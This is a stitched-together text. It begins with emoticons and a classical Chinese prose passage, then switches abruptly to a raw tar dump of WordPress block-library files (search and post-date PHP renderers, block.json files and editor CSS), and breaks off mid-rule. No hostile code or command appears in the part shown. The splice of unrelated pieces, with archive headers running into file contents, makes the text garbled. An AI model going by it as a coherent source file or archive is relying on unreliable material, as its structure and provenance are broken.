Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭
search.php 0000644 00000015106 15233103272 0006523 0 ustar 00 <?php
/**
* Server-side rendering of the `core/search` block.
*
* @package WordPress
*/
/**
* Dynamically renders the `core/search` block.
*
* @param array $attributes The block attributes.
*
* @return string The search block markup.
*/
function render_block_core_search( $attributes ) {
static $instance_id = 0;
// Older versions of the Search block defaulted the label and buttonText
// attributes to `__( 'Search' )` meaning that many posts contain `<!--
// wp:search /-->`. Support these by defaulting an undefined label and
// buttonText to `__( 'Search' )`.
$attributes = wp_parse_args(
$attributes,
array(
'label' => __( 'Search' ),
'buttonText' => __( 'Search' ),
)
);
$input_id = 'wp-block-search__input-' . ++$instance_id;
$classnames = classnames_for_block_core_search( $attributes );
$show_label = ( ! empty( $attributes['showLabel'] ) ) ? true : false;
$use_icon_button = ( ! empty( $attributes['buttonUseIcon'] ) ) ? true : false;
$show_input = ( ! empty( $attributes['buttonPosition'] ) && 'button-only' === $attributes['buttonPosition'] ) ? false : true;
$show_button = ( ! empty( $attributes['buttonPosition'] ) && 'no-button' === $attributes['buttonPosition'] ) ? false : true;
$label_markup = '';
$input_markup = '';
$button_markup = '';
$inline_styles = styles_for_block_core_search( $attributes );
if ( $show_label ) {
if ( ! empty( $attributes['label'] ) ) {
$label_markup = sprintf(
'<label for="%s" class="wp-block-search__label">%s</label>',
$input_id,
$attributes['label']
);
} else {
$label_markup = sprintf(
'<label for="%s" class="wp-block-search__label screen-reader-text">%s</label>',
$input_id,
__( 'Search' )
);
}
}
if ( $show_input ) {
$input_markup = sprintf(
'<input type="search" id="%s" class="wp-block-search__input" name="s" value="%s" placeholder="%s" %s required />',
$input_id,
esc_attr( get_search_query() ),
esc_attr( $attributes['placeholder'] ),
$inline_styles['shared']
);
}
if ( $show_button ) {
$button_internal_markup = '';
$button_classes = '';
if ( ! $use_icon_button ) {
if ( ! empty( $attributes['buttonText'] ) ) {
$button_internal_markup = $attributes['buttonText'];
}
} else {
$button_classes .= 'has-icon';
$button_internal_markup =
'<svg id="search-icon" class="search-icon" viewBox="0 0 24 24" width="24" height="24">
<path d="M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z"></path>
</svg>';
}
$button_markup = sprintf(
'<button type="submit" class="wp-block-search__button %s"%s>%s</button>',
$button_classes,
$inline_styles['shared'],
$button_internal_markup
);
}
$field_markup = sprintf(
'<div class="wp-block-search__inside-wrapper"%s>%s</div>',
$inline_styles['wrapper'],
$input_markup . $button_markup
);
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) );
return sprintf(
'<form role="search" method="get" action="%s" %s>%s</form>',
esc_url( home_url( '/' ) ),
$wrapper_attributes,
$label_markup . $field_markup
);
}
/**
* Registers the `core/search` block on the server.
*/
function register_block_core_search() {
register_block_type_from_metadata(
__DIR__ . '/search',
array(
'render_callback' => 'render_block_core_search',
)
);
}
add_action( 'init', 'register_block_core_search' );
/**
* Builds the correct top level classnames for the 'core/search' block.
*
* @param array $attributes The block attributes.
*
* @return string The classnames used in the block.
*/
function classnames_for_block_core_search( $attributes ) {
$classnames = array();
if ( ! empty( $attributes['buttonPosition'] ) ) {
if ( 'button-inside' === $attributes['buttonPosition'] ) {
$classnames[] = 'wp-block-search__button-inside';
}
if ( 'button-outside' === $attributes['buttonPosition'] ) {
$classnames[] = 'wp-block-search__button-outside';
}
if ( 'no-button' === $attributes['buttonPosition'] ) {
$classnames[] = 'wp-block-search__no-button';
}
if ( 'button-only' === $attributes['buttonPosition'] ) {
$classnames[] = 'wp-block-search__button-only';
}
}
if ( isset( $attributes['buttonUseIcon'] ) ) {
if ( ! empty( $attributes['buttonPosition'] ) && 'no-button' !== $attributes['buttonPosition'] ) {
if ( $attributes['buttonUseIcon'] ) {
$classnames[] = 'wp-block-search__icon-button';
} else {
$classnames[] = 'wp-block-search__text-button';
}
}
}
return implode( ' ', $classnames );
}
/**
* Builds an array of inline styles for the search block.
*
* The result will contain one entry for shared styles such as those for the
* inner input or button and a second for the inner wrapper should the block
* be positioning the button "inside".
*
* @param array $attributes The block attributes.
*
* @return array Style HTML attribute.
*/
function styles_for_block_core_search( $attributes ) {
$shared_styles = array();
$wrapper_styles = array();
// Add width styles.
$has_width = ! empty( $attributes['width'] ) && ! empty( $attributes['widthUnit'] );
$button_only = ! empty( $attributes['buttonPosition'] ) && 'button-only' === $attributes['buttonPosition'];
if ( $has_width && ! $button_only ) {
$wrapper_styles[] = sprintf(
'width: %d%s;',
esc_attr( $attributes['width'] ),
esc_attr( $attributes['widthUnit'] )
);
}
// Add border radius styles.
$has_border_radius = ! empty( $attributes['style']['border']['radius'] );
if ( $has_border_radius ) {
// Shared style for button and input radius values.
$border_radius = $attributes['style']['border']['radius'];
$shared_styles[] = sprintf( 'border-radius: %spx;', esc_attr( $border_radius ) );
// Apply wrapper border radius if button placed inside.
$button_inside = ! empty( $attributes['buttonPosition'] ) &&
'button-inside' === $attributes['buttonPosition'];
if ( $button_inside ) {
// We adjust the border radius value for the outer wrapper element
// to make it visually consistent with the radius applied to inner
// elements.
$default_padding = 4;
$adjusted_radius = $border_radius + $default_padding;
$wrapper_styles[] = sprintf( 'border-radius: %dpx;', esc_attr( $adjusted_radius ) );
}
}
return array(
'shared' => ! empty( $shared_styles ) ? sprintf( ' style="%s"', implode( ' ', $shared_styles ) ) : '',
'wrapper' => ! empty( $wrapper_styles ) ? sprintf( ' style="%s"', implode( ' ', $wrapper_styles ) ) : '',
);
}
post-date.php 0000644 00000002773 15233103272 0007164 0 ustar 00 <?php
/**
* Server-side rendering of the `core/post-date` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-date` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Returns the filtered post date for the current post wrapped inside "time" tags.
*/
function render_block_core_post_date( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) ) {
return '';
}
$post_ID = $block->context['postId'];
$align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );
$formatted_date = get_the_date( isset( $attributes['format'] ) ? $attributes['format'] : '', $post_ID );
if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
$formatted_date = sprintf( '<a href="%1s">%2s</a>', get_the_permalink( $post_ID ), $formatted_date );
}
return sprintf(
'<div %1$s><time datetime="%2$s">%3$s</time></div>',
$wrapper_attributes,
get_the_date( 'c', $post_ID ),
$formatted_date
);
}
/**
* Registers the `core/post-date` block on the server.
*/
function register_block_core_post_date() {
register_block_type_from_metadata(
__DIR__ . '/post-date',
array(
'render_callback' => 'render_block_core_post_date',
)
);
}
add_action( 'init', 'register_block_core_post_date' );
nextpage/editor-rtl.min.css 0000644 00000001120 15233103272 0011730 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{font-size:13px;position:relative;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border-radius:4px;background:#fff;padding:6px 8px;height:24px}.wp-block-nextpage:before{content:"";position:absolute;top:50%;right:0;left:0;border-top:3px dashed #ccc} nextpage/editor-rtl.css 0000644 00000003756 15233103272 0011167 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.block-editor-block-list__block[data-type="core/nextpage"] {
max-width: 100%;
text-align: center;
margin-top: 28px;
margin-bottom: 28px;
}
.wp-block-nextpage {
display: block;
text-align: center;
white-space: nowrap;
}
.wp-block-nextpage > span {
font-size: 13px;
position: relative;
text-transform: uppercase;
font-weight: 600;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
color: #757575;
border-radius: 4px;
background: #fff;
padding: 6px 8px;
height: 24px;
}
.wp-block-nextpage::before {
content: "";
position: absolute;
top: calc(50%);
right: 0;
left: 0;
border-top: 3px dashed #ccc;
} nextpage/block.json 0000644 00000000620 15233103272 0010340 0 ustar 00 {
"apiVersion": 2,
"name": "core/nextpage",
"title": "Page Break",
"category": "design",
"description": "Separate your content into a multi-page experience.",
"keywords": [ "next page", "pagination" ],
"parent": [ "core/post-content" ],
"textdomain": "default",
"supports": {
"customClassName": false,
"className": false,
"html": false
},
"editorStyle": "wp-block-nextpage-editor"
}
nextpage/editor.min.css 0000644 00000001120 15233103272 0011131 0 ustar 00 .block-editor-block-list__block[data-type="core/nextpage"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{font-size:13px;position:relative;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border-radius:4px;background:#fff;padding:6px 8px;height:24px}.wp-block-nextpage:before{content:"";position:absolute;top:50%;left:0;right:0;border-top:3px dashed #ccc} nextpage/editor.css 0000644 00000003756 15233103272 0010370 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.block-editor-block-list__block[data-type="core/nextpage"] {
max-width: 100%;
text-align: center;
margin-top: 28px;
margin-bottom: 28px;
}
.wp-block-nextpage {
display: block;
text-align: center;
white-space: nowrap;
}
.wp-block-nextpage > span {
font-size: 13px;
position: relative;
text-transform: uppercase;
font-weight: 600;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
color: #757575;
border-radius: 4px;
background: #fff;
padding: 6px 8px;
height: 24px;
}
.wp-block-nextpage::before {
content: "";
position: absolute;
top: calc(50%);
left: 0;
right: 0;
border-top: 3px dashed #ccc;
} site-title/block.json 0000644 00000001574 15233103272 0010621 0 ustar 00 {
"apiVersion": 2,
"name": "core/site-title",
"title": "Site Title",
"category": "design",
"description": "Displays and allows editing the name of the site. The site title usually appears in the browser title bar, in search results, and more. Also available in Settings > General.",
"textdomain": "default",
"attributes": {
"level": {
"type": "number",
"default": 1
},
"textAlign": {
"type": "string"
}
},
"supports": {
"align": [ "wide", "full" ],
"html": false,
"color": {
"gradients": true,
"text": false,
"link": true
},
"spacing": {
"padding": true,
"margin": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalTextTransform": true,
"__experimentalFontStyle": true,
"__experimentalFontWeight": true
}
},
"editorStyle": "wp-block-site-title-editor"
}
site-title/editor.min.css 0000644 00000000102 15233103272 0011400 0 ustar 00 .wp-block-site-title__placeholder{padding:1em 0;border:1px dashed} site-title/editor.css 0000644 00000002552 15233103272 0010631 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-site-title__placeholder {
padding: 1em 0;
border: 1px dashed;
} site-title/editor-rtl.min.css 0000644 00000000102 15233103272 0012177 0 ustar 00 .wp-block-site-title__placeholder{padding:1em 0;border:1px dashed} site-title/editor-rtl.css 0000644 00000002552 15233103272 0011430 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-site-title__placeholder {
padding: 1em 0;
border: 1px dashed;
} query-pagination/editor.css 0000644 00000004344 15233103272 0012043 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block > .wp-block-query-pagination {
display: flex;
flex-wrap: wrap;
flex-direction: row;
}
.editor-styles-wrapper .wp-block-query-pagination {
max-width: 100%;
}
.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout {
margin: 0;
}
.block-library-query-pagination-toolbar__popover .components-popover__content {
min-width: 230px;
}
.wp-block-query-pagination > .wp-block-query-pagination-next,
.wp-block-query-pagination > .wp-block-query-pagination-previous,
.wp-block-query-pagination > .wp-block-query-pagination-numbers {
display: inline-block;
margin-left: 0;
margin-top: 0.5em;
/*rtl:ignore*/
margin-right: 0.5em;
margin-bottom: 0.5em;
}
.wp-block-query-pagination > .wp-block-query-pagination-next:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-previous:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child {
/*rtl:ignore*/
margin-right: 0;
} query-pagination/editor.min.css 0000644 00000001433 15233103272 0012621 0 ustar 00 .wp-block>.wp-block-query-pagination{display:flex;flex-wrap:wrap;flex-direction:row}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.block-library-query-pagination-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin:.5em .5em .5em 0}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0} query-pagination/style-rtl.min.css 0000644 00000001044 15233103272 0013270 0 ustar 00 .wp-block-query-pagination{display:flex;flex-direction:row;flex-wrap:wrap}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0} query-pagination/style.css 0000644 00000003634 15233103272 0011716 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-query-pagination {
display: flex;
flex-direction: row;
flex-wrap: wrap;
}
.wp-block-query-pagination > .wp-block-query-pagination-next,
.wp-block-query-pagination > .wp-block-query-pagination-previous,
.wp-block-query-pagination > .wp-block-query-pagination-numbers {
display: inline-block;
/*rtl:ignore*/
margin-right: 0.5em;
margin-bottom: 0.5em;
}
.wp-block-query-pagination > .wp-block-query-pagination-next:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-previous:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child {
/*rtl:ignore*/
margin-right: 0;
} query-pagination/style.min.css 0000644 00000001044 15233103272 0012471 0 ustar 00 .wp-block-query-pagination{display:flex;flex-direction:row;flex-wrap:wrap}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0} query-pagination/editor-rtl.css 0000644 00000004303 15233103272 0012635 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block > .wp-block-query-pagination {
display: flex;
flex-wrap: wrap;
flex-direction: row;
}
.editor-styles-wrapper .wp-block-query-pagination {
max-width: 100%;
}
.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout {
margin: 0;
}
.block-library-query-pagination-toolbar__popover .components-popover__content {
min-width: 230px;
}
.wp-block-query-pagination > .wp-block-query-pagination-next,
.wp-block-query-pagination > .wp-block-query-pagination-previous,
.wp-block-query-pagination > .wp-block-query-pagination-numbers {
display: inline-block;
margin-right: 0;
margin-top: 0.5em;
margin-right: 0.5em;
margin-bottom: 0.5em;
}
.wp-block-query-pagination > .wp-block-query-pagination-next:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-previous:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child {
margin-right: 0;
} query-pagination/block.json 0000644 00000001012 15233103272 0012015 0 ustar 00 {
"apiVersion": 2,
"name": "core/query-pagination",
"title": "Query Pagination",
"category": "design",
"parent": [ "core/query" ],
"description": "Displays a paginated navigation to next/previous set of posts, when applicable.",
"textdomain": "default",
"usesContext": [ "queryId", "query" ],
"supports": {
"align": true,
"reusable": false,
"html": false,
"color": {
"gradients": true,
"link": true
}
},
"editorStyle": "wp-block-query-pagination-editor",
"style": "wp-block-query-pagination"
}
query-pagination/style-rtl.css 0000644 00000003572 15233103272 0012516 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-query-pagination {
display: flex;
flex-direction: row;
flex-wrap: wrap;
}
.wp-block-query-pagination > .wp-block-query-pagination-next,
.wp-block-query-pagination > .wp-block-query-pagination-previous,
.wp-block-query-pagination > .wp-block-query-pagination-numbers {
display: inline-block;
margin-right: 0.5em;
margin-bottom: 0.5em;
}
.wp-block-query-pagination > .wp-block-query-pagination-next:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-previous:last-child,
.wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child {
margin-right: 0;
} query-pagination/editor-rtl.min.css 0000644 00000001470 15233103272 0013421 0 ustar 00 .wp-block>.wp-block-query-pagination{display:flex;flex-wrap:wrap;flex-direction:row}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.block-library-query-pagination-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin-top:.5em;margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0} shortcode/block.json 0000644 00000000632 15233103272 0010522 0 ustar 00 {
"apiVersion": 2,
"name": "core/shortcode",
"title": "Shortcode",
"category": "widgets",
"description": "Insert additional custom elements with a WordPress shortcode.",
"textdomain": "default",
"attributes": {
"text": {
"type": "string",
"source": "html"
}
},
"supports": {
"className": false,
"customClassName": false,
"html": false
},
"editorStyle": "wp-block-shortcode-editor"
}
shortcode/editor-rtl.css 0000644 00000005154 15233103272 0011340 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
[data-type="core/shortcode"] .block-editor-plain-text {
max-height: 250px;
}
[data-type="core/shortcode"].components-placeholder {
min-height: 0;
}
.blocks-shortcode__textarea {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
padding: 6px 8px;
box-shadow: 0 0 0 transparent;
transition: box-shadow 0.1s linear;
border-radius: 2px;
border: 1px solid #757575;
/* Fonts smaller than 16px causes mobile safari to zoom. */
font-size: 16px;
/* Override core line-height. To be reviewed. */
line-height: normal;
}
@media (prefers-reduced-motion: reduce) {
.blocks-shortcode__textarea {
transition-duration: 0s;
transition-delay: 0s;
}
}
@media (min-width: 600px) {
.blocks-shortcode__textarea {
font-size: 13px;
/* Override core line-height. To be reviewed. */
line-height: normal;
}
}
.blocks-shortcode__textarea:focus {
border-color: var(--wp-admin-theme-color);
box-shadow: 0 0 0 1px var(--wp-admin-theme-color);
outline: 2px solid transparent;
}
.blocks-shortcode__textarea::-webkit-input-placeholder {
color: rgba(30, 30, 30, 0.62);
}
.blocks-shortcode__textarea::-moz-placeholder {
opacity: 1;
color: rgba(30, 30, 30, 0.62);
}
.blocks-shortcode__textarea:-ms-input-placeholder {
color: rgba(30, 30, 30, 0.62);
